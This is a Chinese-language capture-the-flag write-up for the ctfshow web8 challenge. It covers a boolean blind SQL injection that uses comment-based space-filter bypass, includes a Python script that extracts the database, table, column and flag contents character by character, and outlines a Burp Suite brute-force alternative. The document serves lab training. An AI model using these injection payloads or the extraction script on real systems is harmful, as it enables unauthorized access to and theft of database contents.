CTFshow-Web-SQL注入布尔盲注
一、靶场:ctfshow web8
二、解题步骤:
步骤一:打开页面发现和web7靶场一样,直接尝试联合查询:?id=1/**/union/**/select/**/1,2,3;#

这里可以看到虽然使用了空格绕过,但依然被检查到了注入,这里往前一步,进行列数判断:

这里可以得知空格绕过应该是成功的,但貌似联合查询不能用了
步骤二:这里仅演示最后爆出flag
法一:使用脚本注入:
这里就只能使用布尔盲注,这里使用脚本进行注入
脚本如下:
# -*- coding:utf-8 -*-
import requests
url = 'http://4fe13c47-aca7-4862-b383-adf3e156cd29.challenge.ctf.show/index.php'
name = ''
# 循环45次( 循环次数按照返回的字符串长度自定义)
for i in range(1, 45):
# 获取当前使用的数据库
# payload = '?id=-1/**/or/**/ascii(substr(database()from/**/%d/**/for/**/1))=%d'
# 获取当前数据库的所有表
# payload = '?id=-1/**/or/**/ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%d/**/for/**/1))=%d'
# 获取flag表的字段
# payload = '?id=-1/**/or/**/ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%d/**/for/**/1))=%d'
# 获取flag表的数据
payload = '?id=-1/**/or/**/ascii(substr((select/**/flag/**/from/**/flag)from/**/%d/**/for/**/1))=%d'
count = 0
print('正在获取第 %d 个字符' % i)
# 截取SQL查询结果的每个字符, 并判断字符内容
for j in range(31, 128):
result = requests.get(url + payload % (i, j))
if 'If' in result.text:
name += chr(j)
print('数据库名/表名/字段名/数据: %s' % name)
break
# 如果某个字符不存在,则停止程序
count += 1
if count >= (128 - 31):
exit()
执行结果:

法二:使用bp爆破
1)抓包后设置替换点,并使用cluster bomb类型

2)设置两个地方的替换值为数字类型,第一个为1-45递增,第二个为31-128递增


3)爆破结果:

4)爆破结果整理

5)解码爆破结果


浙公网安备 33010602011771号